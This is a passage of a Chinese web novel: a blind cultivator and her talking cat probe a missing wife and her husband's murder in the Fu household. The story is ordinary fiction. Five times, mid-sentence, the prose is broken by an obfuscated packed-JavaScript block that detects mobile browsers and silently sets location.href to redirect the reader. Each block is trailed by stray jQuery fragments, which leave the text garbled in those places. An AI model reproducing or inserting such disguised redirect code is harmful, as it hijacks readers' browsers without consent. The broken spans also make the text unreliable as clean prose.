“他们、他们都来了多少次了!母亲本就在生病,还整日这样来闹!有这样的亲戚吗,我看是讨命鬼才对!”她死死拉着君无歧的竹杖,看她的眼神充满抵触和仇恨,“蓝婆婆别拦着我,今天我非得把这些混账东西都赶走!”
召南呼一下拱起脊背,呲出尖牙,虎视眈眈地盯着她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737986|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“好了!”蓝婆大步过来一把夺下她的手,“秀善,你太失礼了,这是夫人的客人!”
“客人,什么客人?”傅秀善面露迟疑,“她……不是舅舅家的人?”
君无歧缓缓把竹杖拄在地上。
面朝前方,手指微微颤抖。
慢慢转身要回内堂。
动作跌跌撞撞,背影柔弱无依。
“小姐!”蓝婆在一旁低声恨铁不成钢道,“还不快向客人道歉?”
“哦哦!”傅秀善恍然初醒,连忙上前拉君无岐的衣袖,“那个,对不起啊,我不知道……哎?”
那一截衣袖水波一样从她眼前晃过去,明明就在那里,一伸手却抓了个空。
再抬眼,君无岐已经走出去了。
傅秀善心中疑惑,但并没多想,紧着几步终于拉住了她,而此时已经到了内堂廊下。她低声道,“姑娘,我真是无意的,最近母亲那边有亲戚来闹事,我以为你和他们是一伙的,这才出言不逊,你别往心里去……”
君无岐没回答。
她抬起头。
傅秀善这才意识到什么似的,急忙抬头,脸刹那白了一层。
“娘?!”她大惊,急忙上前,“您,您怎么出来了?”
苏敏静此时正由关惊澜扶着站在廊下,清瘦憔悴,弱不胜衣,听到女儿一番话后脸色更是毫无血色,倒是一向有气无力的声音拔高了,“秀善,你方才说什么?”
“您别生气,娘。”傅秀善有心不说出来让她添堵,但到这份上,也只好说了实话,“前些日子,小舅他们来过一趟,要……要……”
“他们要什么?”苏敏静一把抓过她的手,“告诉我!”
“他们要您当初嫁过来时候的嫁妆,还要……还要把小表妹嫁过来给父亲作妾。”傅秀善咬着嘴唇说,“上次他们来时我和蓝婆一起把他们赶走了,没让您知道。”
苏敏静狠狠闭上眼,面如金纸,摇摇欲坠。
“夫人!”蓝婆慌忙搀住她,“您要不要紧?还是去休息会吧。”
“不。”苏敏静推开她的手,看向关惊澜和君无岐,“今日让你们看笑话了。”
“苏姨说的这是什么话。”关惊澜赶紧道,“您与我母亲是手帕交,我就是您看着长大的,怎么会是笑话呢!您若有用得着我的地方,一定要告诉我,我别的不行,多少还会些武艺。”
“好孩子。”苏敏静感激地摸了摸她的头发,“你们且去休息吧,剩下的我自己来就好。”
关惊澜有些犹豫,但在她柔和坚定的目光里还是点点头。
一旁的蓝婆见状,移步过来为她们引路。
关惊澜只好跟着她出去了,经过月亮门时往后看了一眼,苏敏静正神情严肃地对傅秀善说着什么。她回过头,忧虑地叹了口气。
“君姐姐。”她小声对君无岐说,“你有看出什么来吗?”
君无岐摇摇头。
“并无精怪作祟,应是她自身的问题。”
“是吗……”关惊澜难掩失落,毕竟精怪易除,心结难解,但很快又振作了精神,“没关系,我可以写信给我娘,让她多给苏姨找两个医生来。”
两人正在低声交谈着,忽然听到前面蓝婆的见礼声。君无岐抬头,只见一团淡金泛红的魂火。这团魂火并不值得重视,关键在于,远远的众多细小淡绿魂火之间,簇拥着一团红到几欲滴血的火!
是进城时祭拜虎神队伍中坐在轿子里的那个人!
24. 虎神(三)
召南在君无岐肩上摇摇尾巴,“喵”了一声。
是面前那人。他正在询问蓝婆,但蓝婆的回答清晰可辨得不耐烦。他并不在意,转过脸来对关惊澜微微一笑。
“原来是关世兄家的女儿,若论辈分,你该叫我一声姨夫。”他道,“关世兄身体可还好?”
原来是苏敏静的丈夫,这座傅府的主人,傅必先。
关惊澜秉持着礼节,回答道,“父亲一切都好。”
“那就好,天色也晚了,你们该好好休息。”
傅必先点点头,神情温文尔雅。他身材高大,容貌端正,一行一动都颇有君子之风,很容易理解当年苏敏静那样的大美人为何会选择嫁给他。
只听他又嘱托蓝婆,“给客人们备些熏香。这日子越来越热,府中植被多,易生蚊虫,免得扰得夜里不得安宁。”
蓝婆面无表情地点头。
待到他离去,关惊澜才松了口气。
“唉,我这种只会武艺,没甚文化的人,还挺怵他。”她悻悻道,“我娘也说他有才学在身,叫我好好尊敬。但看到苏姨那样,实在说不出口。”
毕竟现在苏敏静的处境肉眼可见,这当丈夫的多少也是有点不负责任。
“甚么有才学在身。”蓝婆听到了她的话,扭头恨道,“哪怕是状元老爷,哪有这么对自己妻子的?夫人身体都那样了,还让她住偏院,这是什么道理!”
这话就不是关惊澜可以接的了,多少有背后嚼人主家舌根之嫌。她眨眨眼,正要换个话题,却听君无岐问蓝婆。
“今日府上可是还来了其他客人?”
蓝婆满脸莫名,“其他客人?没听说。”
那那个魂火鲜红的人会是谁?她想了想,又问道,“你们文元少爷有什么特别交好的朋友吗?”
“那老婆子我哪里晓得。”一提起傅文元蓝婆顿时高兴起来,“文元少爷是以后要考举人的,他平日都在书院待着,往来的也都是些文人公子,能与他玩得好的,大抵也是哪家少爷吧?”
普通的大家公子可养不出那样的颜色。
君无岐若有所思。
不等她想更多,目的地已经到了,蓝婆带她们来了一处小院前。小院围墙上同样爬满了凌霄花藤,密密匝匝地垂着。随风轻摆。召南自打见过玉藤那一战之后对这种藤蔓有点心理阴影,腾一下就钻进了竹筐里,死活不肯再出来。君无岐也不管它,随着蓝婆一并进门。
“条件简陋,二位多多担待。”蓝婆道,“客人们且先歇息,有事喊我就是。”
院里有两间卧房,一东一西,关惊澜毫不犹豫地把东边那间让给君无岐。待蓝婆要退下时一把拉住了她。
“蓝婆婆。”她满含担忧地望着她,“苏姨到底是怎么了?有没有我能帮得上忙的?”
蓝婆张口欲言,待话要出口时又咽了回去,只是摆手。
“关小姐还是好好休息吧。”她轻轻拉开她的手,“夫人……你帮不上她的。”
话音落地,她退了出去。
关惊澜站在原地,茫然无措。
“君姐姐。”她有些难过,“我真的……什么忙也帮不上吗?”
君无岐轻轻叹了口气。
“明日你与她说话,我悄悄多念几遍祝由术。”她说,“首先身体得好起来,是不是?”
关惊澜重重点头。
“很晚了,休息吧。”她说。
一夜无事。第二日清早,太阳还没完全升起,忽然外面传来喧哗。关惊澜匆匆扎好头发出来,正看见君无岐披着外衣,正站在门口。
她也不太清醒的样子,和肩上的猫咪同步打了个哈欠,“出什么事了?”
“我去看看,君姐姐眼睛不好,且先等一等我吧。”关惊澜道,“希望不是大事……”
话音还未落,小院门口呼啦啦挤进来几个人,为首一个进门就直冲关惊澜而去,指着她大喊,“就是她!我看到的就是她!”
她身后是傅必先,听闻此言面露惊怒,“这可不是开玩笑。青芳,你可看清楚了,是她?”
那叫青芳的女人口吻笃定,一嘴咬死,“是她!我看到了她带走了夫人!”
“什么?”关惊澜在一片混乱中敏锐地抓住了重点,“夫人?苏姨怎么了?”
“敏静她失踪了!”傅必先那张端正的面孔上流露出几分焦急,还有失望和震惊,“我以为你是个好孩子,可为何要劫走敏静?莫不是有心要加害于她?但你们当是无冤无仇才是!”
“我没劫走苏姨!这到底是怎么回事?”关惊澜大声驳斥道,“我昨夜根本没出去过!”
“你说谎!我分明看到你半夜鬼鬼祟祟,背着夫人不知道去了哪里!”青芳叉着腰大骂,“夫人身体那么弱,出了什么意外你担得起吗?还不快快交出来!”
傅必先瞥她一眼。
“老爷,这是不是有些草率……”蓝婆在一旁也开了口,“惊澜小姐只是来做客,怎么会劫走夫人呢?况且就算她真的带走夫人,又怎会再返回府里,这根本说不通啊!”
“什么?你的意思是我撒谎?”青芳立刻不干了,“姓蓝的,你别以为你是夫人身边的就可以乱说!我是夫人做主纳进来伺候老爷的,她待我如何有眼睛的都能看到!我怎么可能害她?”
“那你倒是说说,惊澜小姐有什么动机害夫人?”蓝婆丝毫不怵她,“依我看,还是问问夫人母家才是。”
“我看你就是和我作对!老不死的脏婆子!”青芳气得眉毛倒竖,“我亲眼看到的!怎会有假!我看莫不是你和她勾结起来要害夫人吧,不然夫人在深宅内院里,怎会被轻易劫走?”
“你这润西来的小泼皮,还耍起无赖来了!”蓝婆也动了怒,“你亲眼看到的就是真的?那我倒要问你,你深更半夜不好好在屋里待着,出来乱晃作甚?”
“我睡不着出来转转,你管得着……”
“好了!”
傅必先一声大吼,止住针锋相对的两人。他用力揉揉太阳穴,疲惫道,“既然青芳看到了,那且先从这个方向查起罢。”
他身后还有两个衙役,见到此乱状不由也颇感头疼,听了傅必先的话,这还有什么好讲的,那就先把嫌疑最大的带回去再说。
“这位小姐,同我们走一趟吧。”其中一人客气道,“不管怎样,知州不会冤枉你。”
知州?
这知州口碑怎么如此两极分化?
君无岐正欲开口,关惊澜猛地拽住她衣袖。
“我是兴海镖局的镖头,这是文牒。这次走镖途径丰城来拜访长辈,不曾想遇到了这样的事。”她朗声道,“我不曾害过苏姨,行得正坐得端,再怎么说也是这句话。跟你们走可以,但我不会去你们衙门,要么就在府里问,我知无不言,要么我什么都不会说。另外,我还要通知我的镖队,延后启程。”
两个衙役对视了一眼。
“这样也可以。”开口的那个答应了,“既然如此,你就自行安排个人吧。其他人也不要聚在这里了,影响办案。”
关惊澜在君无岐手腕上用力一握。
“君姐姐,拜托你了。”她道,“我去解释清楚,很快就会回来的。”
君无岐点点头。
院子里的人就像来时一样又浪潮般散去,而此时太阳才刚刚升到头顶,阳光纱似的披在人肩上。青芳拐回自己院子,看到正打扫的小丫鬟,便摆摆手让她退下,唇边不由自主露出抹自得的笑意。
说了几句话便得到三两银钱,这可比什么买卖划算多了。她想,至于夫人到底去了哪里,除了那个姓蓝的老婆子谁还关心。
倒不如想想,拿了这些钱,买点什么东西好?
“青芳姐。”
背后有人唤她。
她沉浸在自己的幻想里,还以为是不长眼的小丫头,不耐烦地朝后一扬手,“走走走,别烦我!”
手腕被扣住了。
来人手指冰凉,带着笑意的耳语落在她颈边,“青芳姐,是我啊。你不认
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737987|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
识我了吗?”
青芳倏地热血褪去,浑身冰凉!
这是谁?会是谁?
她仿佛心脏都在那一刻停止了跳动,只有巨大的、不可遏止的恐惧猛然漫上心头,极度的害怕甚至让她唇舌颤抖,说不出一个字。倒是背后之人很有兴趣似的,继续说道,“我一听到润西就知道是你了。青芳姐,你不想我吗?竟然躲在这种地方,我还以为以你的性格,会藏在什么金库钱仓里呢。”
说罢,好像觉得很有趣似的,她笑了起来。
“来呀,青芳姐,回头看看我。”她说,“你在怕什么?”
青芳战战兢兢地转身。
她看到一个人,一个她之前看到,但从未往心里去的人,一个瞎子,盲女。她穿最便宜的白袍,绾最简单的发型,不戴首饰,也没有脂粉,看起来就是平素她看不上眼的那种穷鬼。但此时,她与阎王无异。
“呜……”青芳从喉咙中挤出一缕讨好的咕哝,“是我没认出你来……”
“真有趣,你以前从来不会这么对我说话。”君无岐居高临下地“看”着她,“是吧,郦青芳?”
郦青芳眼前一阵阵地发黑。
“是我、是我从前有眼无珠……”她放低姿态,也放柔了语气,“好……好妹妹,想要什么我都给你,看在我现在已经嫁人的份上,你就饶了我罢,我还有个孩子要养……”
话到嘴边她才想起来,从前在郦家的时候,她从来没称呼过她,连她到底叫什么都不知道!
君无岐没有说话。
空气冷得几乎要凝成冰,郦青芳越来越慌,不知道她到底是什么意思,语气越发仓促,眼珠不住乱飘,“我,我这些年也攒了些钱,数下来多少也有几十两,都给你,好不好?”
起了风,吹得纱帐簌簌作响,送来外面隐约的稚嫩童声。青芳在那一瞬间几乎要崩溃了,半个身子瘫在地上,“求你,求你……别杀他!当年是我的罪过,你杀了我吧!”
君无岐松开手,她软泥似的倒下,涕泗横流。
“我本来想杀你的,但又觉得你很可怜。”她淡淡道,“起来,回答我。你昨天晚上到底看到了什么?”
郦青芳浑身一颤,不可置信地抬起头,愣愣看着她。
“你……你问这个做什么?”她小心翼翼道,“你和那个小姑娘认识?”
早知会惹来这个煞神,她何必掺和进来!
“回答我,我可以不杀你儿子。”君无岐低下头,“至于你……就要看你说不说实话了。”
“我说,我说实话!”郦青芳慌忙道,“其实我昨晚什么也没看到,我根本就没出去!是老爷,不是,是傅必先要我说的,他说只要我咬住那姑娘不放,他就给我三两银子!”
傅必先?
君无岐皱起眉,“那苏夫人到底去哪了?”
“我不知道,我真的不知道!”郦青芳用力摇头,“别的我都不知道了!”
君无岐陷入沉思。
居然是傅必先买通了她,让她攀咬关惊澜,可这到底是为了什么?苏敏静是他明媒正娶的夫人,若真想杀妻,悄无声息的办法有很多,又何必如此大张旗鼓?这样一通操作下来,倒像是……在掩护什么人。
她忽然想起昨夜看到的那团魂火。
莫非是那个人?可又与苏敏静有什么关系呢?
她还未理清思路,忽然腿上被人轻轻碰了碰。是郦青芳,她讨好地仰视着她,语气满是谄媚,“好妹妹,我说的真的都是实话,你就饶了我吧?”
君无岐笑了。
近乎怜悯。
“青芳姐。”她蹲下来,循着声音对准了她的脸,“在那种地方长大,你为什么还一直这么天真呢?从前是这样,现在还是这样。”
郦青芳仓皇瞪大了眼睛。
视线中,只有盲女温柔递来的手。
轻轻地,轻轻地按在她额头上。
记忆最后,只有一句刻骨铭心的话。
“谁让你姓郦呢?”
25. 虎神(四)
青芳姨娘摔了一跤,失忆了,还断了条腿。
不过在此时的傅府里这不算什么大的谈资,所有人都在猜测夫人到底去了哪里,又是怎么丢的。至于她那个才两三岁的孩子,傅必先更是不上心,她只是残疾又不是傻了。就这点事,他没工夫上心。
“父亲。”一直以来他为之骄傲的长子站在面前,神情忧虑,“母亲到底会去哪呢?”
“现在这关头,你不必思虑这个。”傅必先皱眉道,“我来查就好了。你还是以学业为重,准备科举才是大事。”
“可母亲……!”傅文元急了,“学业哪里有母亲来的重要!现在母亲下落不明,我又怎能安心学习?!”
“好了,勿要多说!”傅必先抬起手,不让他再说下去,“你母亲也不会希望看到你胸无大志的样子,你如今才刚弱冠不久,还是前途最先。之前叫你结交知州家的公子,你们相处的如何?”
傅文元面露难色,“何公子实在是……”
“不管他其人怎样,你都得与他交好,懂吗?”傅必先打断了他,“何知州对我们家有恩,又考核年年是优,日后必定要去京城的。若你考中了举人,少不得还要他多提携,为父也是为你好,你要明白呐。”
“原来……如此。”
傅文元朝他爹深深一拜,傅必先赶忙把他扶起来,两人看起来又是一副父慈子孝、其乐融融的场面,话题转而飞向知州家等等,倒没人再记得那位仍下落不明的可怜女人。层叠嶙峋的怪石后,君无岐轻轻叹了口气。
被她派出去通知镖队的召南已经回来了,蹲在她肩头舔爪子,“所以傅必先的那个小老婆是以前郦家的人?她怎么会落到这地步的。”
君无岐端着它无声离开,“因为她被吓破了胆,不敢再待在郦家了。”
“啊?”召南不解,“怎么会?不是说她以前还欺负你吗?”
“如果你管把我们的饭踩烂、药材丢掉,还动不动就要打我妹妹称为‘欺负’的话。”君无岐漫不经心地纠正它,“她父亲是郦玉林,郦家老三,他是个烂泥扶不上墙的色中饿鬼,当年没少对我娘动手动脚。”
召南认真听着,摆了下尾巴,“然后呢?”
“然后?然后我就杀了他啊。”君无岐说,“剁掉了他的四肢,当着他孩子的面——当然就是郦青芳了。”
“哦!怪不得她那么怕你。”召南恍然大悟,“那你怎么没杀了她?”
“我这人很有原则的。”君无岐微笑,“本来是要杀的,但谁让她有孩子呢?猎人还不射带崽的母鹿呢,岂为人乎?”
“所以你就让她失忆又瘸腿……”召南无言,“好吧,起码比她记得然后去跟郦家告密强。”
“嗯哼。”君无岐从袖中掏出三两银子,在它眼前一晃,“等这事解决,带你去吃鼎鼎大名的禾花鱼怎样?”
“银子!足足三两!”一看到这个,召南立刻把什么青芳红芳忘到了脑后,“你哪弄来的?”
“别管。”君无岐重新把银子收入袖中,“以后还帮我跑腿吗?”
“那当然了。”
召南从喉咙里挤出一缕长长的、甜到发腻的猫叫,还使劲用头顶蹭她颈窝,“你可要记得啊,禾花鱼!我还要油炸小河虾!”
“可以可以,都可以。”
君无岐满口答应着猫,慢悠悠晃进昨日来的小院。这里仍是花草繁茂漫无忧愁的样子,只有一个人正呆呆坐在廊下,不知道在想什么。
听到竹杖敲地,她愣愣抬起头。
“君姑娘?”傅秀善小声道。
“原来是秀善小姐。”君无岐缓缓来到她面前,“你怎么自己在此?”
傅秀善张了张嘴,“我……我想我娘了。”
她有点沮丧地垂下头去,把下巴放在膝盖上。今日她带了条抹额,淡淡的绀色,缀着各式珠子宝石,在眉上扫来扫去,耀得召南睁不开眼,窝在君无岐颈窝小声抱怨。
“我娘在家里的时候,总是教育我要多为自己想后路,出嫁以后夫家未必向着我,还是自己手里有钱有人才有底气。我当时还很不以为然。”她闷闷地说,“现在我才觉得,她说得是对的。”
君无岐摸索着在她身边坐下,没吭声。
“原来他们都是在哄我,和哄一个孩子没什么区别。”她神情迷茫,“可我,什么也做不了。”
有一丝古怪从君无岐心头快速划过,她定定神,忽然问道,“你昨夜是不是看到了什么?”
傅秀善动作一僵。
她转过脸去,只把后脑勺露出来,声音闷闷的,“我什么也没看到。”
君无岐顿时笃定了她一定知道什么,但并没有接着说下去,而是忽然问了个风马牛不相及的问题。
“苏夫人是不是很少出门?”
傅秀善不明白话题怎么就突然转到了这上面,不过还是老实答道,“前些年她还经常出门,但这两年确实很少出去了。”
君无岐若有所思。
傅秀善盯着她侧脸,眼神里藏着说不出的针扎一般的探究,“你问这个干什么?”
君无岐张开嘴唇正要说话,外面传来一阵喧哗,夹杂着尖锐的哭叫和喊声,烦扰不堪,搅得人心浮气躁。召南跳下她膝盖,看到挤进来的一帮人顿时吓得被毛炸起,噌一下又躲回了她背后。
“妹妹!我可怜的妹妹!”其中最刺人耳膜的就是一个中年妇人,她着青色衣裳,只有耳朵上坠了对金耳环,哭天抢地,“你到底去了哪里哟!你那负心薄情的丈夫太狠心了,甚至都不愿意去找你啊!”
她后面跟着个又瘦又矮的男人,穿着花里胡哨的金粉襕袍,活像只猴子穿了人衣服,看人时从下往上看,好似一对白眼球镶在山药杆上,又滑稽又猥琐。他跟着他姐一块哭嚎,两人就像在唱二人转,按下葫芦起来瓢,你高我低,不给人耳朵留下任何一点活着的余地。
傅秀善痛苦地捂住耳朵。
“秀善,秀善呐!”那妇人箭步上前来拉扯她,“你娘真是苦命呐,你爹是畜生,畜生!这一家人里就没一个关心你娘的,白眼狼,都是白眼狼!”
傅秀善本就不是任人欺负的性子,顿时眼一瞪,眉一横,“你说什么?谁是白眼狼?”
“没说你,没说你!”那妇人被噎了这么一下也不耽误接着往下嚎,“秀善,你爹不愿意找你娘,我们找!我们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737988|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就算找遍了丰城,也得把你娘找出来!”
傅秀善知道下面才是他们的真实目的,冷笑,“那你们去啊,来我家干什么?我家不欢迎你们!”
“你这孩子怎么说话呢!”奈何这姐弟两人脸皮厚如城墙,区区几句话根本撼动不了,“那是你娘!不是别人!我知道你对大姨小舅有意见,但现在可不是闹脾气的时候,还是得拿出钱来,多拿点,咱们去求虎神,虎神一定能把你娘带回来!”
“没钱!滚!”傅秀善使劲挣脱出来,站在阶上怒骂,“你们就是想要钱,没钱!我娘摊上你们这样的亲戚真是倒了八辈子血霉,滚!都滚!我会自己找她回来,用不着你们!”
“秀善,你这孩子怎么心这么硬啊!”妇人又光打雷不下雨地扑上来,扯着她干嚎,“那是你娘,不是别人,那是你娘啊!”
“我知道那是我娘,别拉我!”傅秀善拉起自己袖子往外挣,满脸厌恶,“蓝婆婆!蓝婆婆!快来人!把他们弄走!”
蓝婆不知道从哪里急匆匆赶来,要把妇人往外拽,但那妇人手掌如铁钳般紧紧箍在傅秀善手臂上,她不敢使力怕伤了小姐,矮瘦男人又来扯她,一时间搞得是满地鸡毛,沸反盈天,尖闹嘈杂不绝于耳。君无岐不由得悄悄往外挪了几步。
“好了!”月亮门处传来怒喝,原是傅必先终于到了。他对着廊下怒目而视,厉声大吼,“拉拉扯扯像什么样子!”
“啊,原来是妹夫。”妇人见状立马松开了手,转而朝他叉腰大骂,“妹夫,你这也太不厚道了,我妹妹失踪你竟一点也不急!亏我妹妹给你生儿育女,你还是人么!若你不愿去找,就我们去,我们去求虎神,虎神肯定能找到她!”
她一张嘴傅必先就知道她要说啥,满脸不耐烦道,“你们不就是想要钱?”
“什么叫想要钱,难道求虎神就空手去?”妇人骂道,“个杀千刀臭没良心的,人命关天,你就净想着这个!”
“就是就是。”方才一直让姐姐冲锋陷阵的矮瘦男人倒是这个时候出来帮腔了,“不过是问你们家要些银钱去求虎神,这很难吗?你看看传出去好听不好听!”
傅必先用力掐了下眉心。
“行,不就是钱。”他忍耐道,“跟我过来,我让账房给你们支钱。”
听闻此言两人顿时眼都亮了,什么外甥女侄女的也不记得,就要跟着他走。傅必先扫了一眼傅秀善,蹙眉道,“你看看你现在是什么样子,弄得这般不体面,马上就要嫁给何公子的人了,知不知羞?”
这可谓是相当重的话,傅秀善顿时小脸煞白,抓着裙子想为自己辩解一二。却见父亲丢下那句叱骂,头也不回地走了。
她低下头,用力抹了把眼睛。
“唉,小姐,抹额都掉了。”蓝婆怜爱地替她整理好衣服,收拾头发时忽的一顿。
“你额头上怎么青了一块?”
傅秀善手忙脚乱地重新戴好抹额,瓮声瓮气道,“没事,就是不小心磕了一下。”
指尖扶着额头,她忽然想到。
这条抹额,好像刚才就掉下来了。
可是,没有人问问她的伤。
没有一个人。
26. 虎神(五)
傍晚关惊澜才回来。
“这帮人真是和稀泥到极致了。”她脸色冷冰冰的,语气充满讥讽,“不说去找苏姨,只会反反复复地问我,这能有什么用?”
君无岐叹了口气。
“苏夫人应该没事。”她说,“虎神会保护她的。”
关惊澜诧异地看着她,“为什么这么说?你相信这个虎神?”
这简直太不可思议了。
“第一,昨晚应该发生了什么事,让苏夫人不得不离开这个家,或者某人不得不带走她。”君无岐竖起一根手指,“从之前的接触来看,她对傅府很有感情,但显然这个家里真心对她的只有秀善小姐一人,再加上今天傅必先的表现,我猜是他昨晚对苏夫人做了什么,让她难以接受,彻底死心。”
关惊澜认真听着,提出疑问,“但昨晚没有一个人看到了她。青芳在说谎,实际上除了傅必先以外,没有人见过她。如果是她自己离开的,她是怎么走的,才会避开所有人呢?”
她已经不愿再称呼傅必先“姨夫”了。
“是的,所以我一开始怀疑,苏夫人并不是失踪,而是死了。”君无岐冷静道,“如果是傅必先杀了她,把她的尸体藏了起来,也完全符合以上条件。”
关惊澜一颤。
“但你既然这么说了,那就肯定不是对不对?”她盯着君无岐,笃定道。
君无岐点点头。
“如果真的是他杀了苏夫人,那他应该会用更缜密的方法来逃脱询问才对。而事实上他只是用三两银子打发了青芳姨娘,这证明他知道苏夫人失踪的内幕,但并不是他导致的失踪。”君无岐说,“此外,我今天在整个傅府里转了一圈,但并没有发现哪里有新动土的痕迹。要想不留首尾地处理掉一个人难度是很大的,我并不认为他可以做到。”
召南站在她肩上,昂首挺胸地附和,“我也没有闻到新鲜的血腥味,如果她真的死在府里,我一定会闻到的。”
“所以说苏姨真的是失踪?”关惊澜皱眉,“那究竟是什么人带走了她,才能这么什么了无踪迹?”
“这就是我要说的第二点了。”君无岐伸出两根手指,“我一开始怀疑她的娘家人,但今天他们来闹的这一遭我又否认了这想法。我现在认为最有嫌疑的反而是另一个人。”
“谁?”
“秀善小姐。”
关惊澜猛地往后一仰。
“秀善?这不可能!”她说,“她有什么理由要带走苏姨?而且她怎么能带走她还不被任何人发现?”
君无岐安静地“望”着她。
关惊澜冷静下来,扶了下自己的额头。
“对,如果昨夜真的发生了什么,她一定不会袖手旁观的。”她说,“难怪你说虎神保护了苏姨……是秀善求了虎神?”
不知为何,君无岐没有立即回答。
她侧头“看”向廊外,花枝簌簌,青影横斜,月亮出来了一半,挂在檐上欲坠不坠。今夜天幕暗沉,云卷过天际最后一抹紫色,夜晚马上就要降临。这座安静清幽的府邸在此刻却显出令人不安的冷清,没有人声,也没有一丝热乎气。
“……是。”她轻轻说。
“秀善小姐额头上有块淤青,那不是不小心碰到的。”召南为她补充了后面的话,“那是磕头的时候太用力留下的。”
关惊澜一时间没有说话。
天边最后一丝色彩也完全消失,黑夜彻底到来了。
两人一猫站在廊下,听着风摇晃花枝的声音。
“秀善……是个好孩子。”关惊澜涩然道,“这些年我们一直没能发现苏姨的处境,是我不对。待到明日清晨我去与秀善聊聊。”
君无岐没有说话。
“镖队留在丰城的时间太长了,”关惊澜说,“若能确定苏姨无事,明日必须要启程出发。”
她不是一个人,她必须要为自己的队伍负责,为客人负责。
君无岐和召南同步点头。
关惊澜笑了。
“睡吧。”她轻轻说,“明天又是新的一天。”
然而命运有时就是如此不可捉摸,人所期望的方向,往往只是一种幻想。
第二天早晨,一则消息惊雷般在整个傅府炸开,炸得每个人灰头土脸。
傅必先死了。
.
君无岐拿着竹杖,走进小巷里,每个看到她的人都自觉地让开位置,隐隐投来怜悯的目光。
有人在窃窃私语。
“肯定是来喝花酒的吧,不知道得罪了谁……”
“肯定不是楼里的姑娘,她们哪有那么大力气?”
“哎哟哟,还姑娘,脏死了,这算哪门子姑娘?”
“别打岔,我觉得呀,搞不好是争风吃醋,打起来了……”
“去你的,为了个娼妓争风吃醋还杀人?别笑掉大牙。”
“那你说是为啥?姓傅的也算高门了,谁想不开杀他?”
“那还真别说,不保准就有那不长眼的……”
君无岐走到巷子尽头。
这里是丰城的西北角,挨着护城河,夜里热闹得很,白日看来就有些萧条。一栋小楼的檐角上挑着火红栀子灯,外圈笼一层竹编灯罩,明眼人一看就知道是什么地方。楼下红漆大门紧紧闭着,倒是二楼有几扇窗户半掩,时不时有人影从里面掠过。
楼后是棵大柳树,粗壮得两人都合抱不过来,树冠浓密翠绿,千万柳丝顺着风飘荡,露出底下格格不入的“装饰”。
是气绝已久的傅必先。
他的腿被绳子紧紧绑住,整个人倒吊在柳树上,高度恰与一个人齐平。脖子被切开了一半,里面的血已经流得差不多了,滴滴嗒嗒在地上积成一个小水洼。他脸上还残留着惊恐之色,眼珠暴突,口鼻都被白布蒙住,此时已经被血浸透了,只留一片猩红。
地上扔着一把小短锯,应当就是这玩意把他脖子切开的。
几个衙役站在旁边,拦着不让上前,里面站着两个人,估计在研究怎么把尸体放下来。傅文元在稍远一点的地方,眼眶通红,一边说一边抹一下眼睛,傅秀善看起来比他冷静一点,沉默着不知道在想什么。
关惊澜过去了。
君无岐没有瞎掺和。她站在原地,缓缓“环视”四周,五颜六色的魂火映入眼帘,但大多数都是以淡金色为主,边缘染着其他颜色,这都是很正常的。召南站在她肩上,把看到的一切小声转述给她。
忽然,她定住了。
“召南。”她小声说,“你看那个方向有什么?”
召南顺着她面朝的位置望过去。
“有好些人呢。”它有点迟疑,“男的女的老的少的……都有。”
君无岐抿起嘴唇。
她“看”到了……一团黝黑的火。
非常深的黑色,几乎像是墨汁染成,间或夹杂几缕鲜红,看不到任何浅色。这是极其少见的魂火,其含义更是不祥——这代表了罪孽。
这么黑,不知道要害过几条性命。
君无岐缓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751908|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缓向那个方向移过去。
但目标非同一般的敏锐,他似乎意识到了自己被注意到,毫不犹豫地钻入人群向远处离开。因为围观的老百姓实在不少,召南也闻不到特别的气味,只好寄希望于视觉。但可惜的是人群拥挤,它的高度也只在君无岐肩膀,就算伸长脖子,也只能瞄见一个漆黑头顶。
君无岐毫不犹豫,“追!”
一人一猫扑入人海之中。
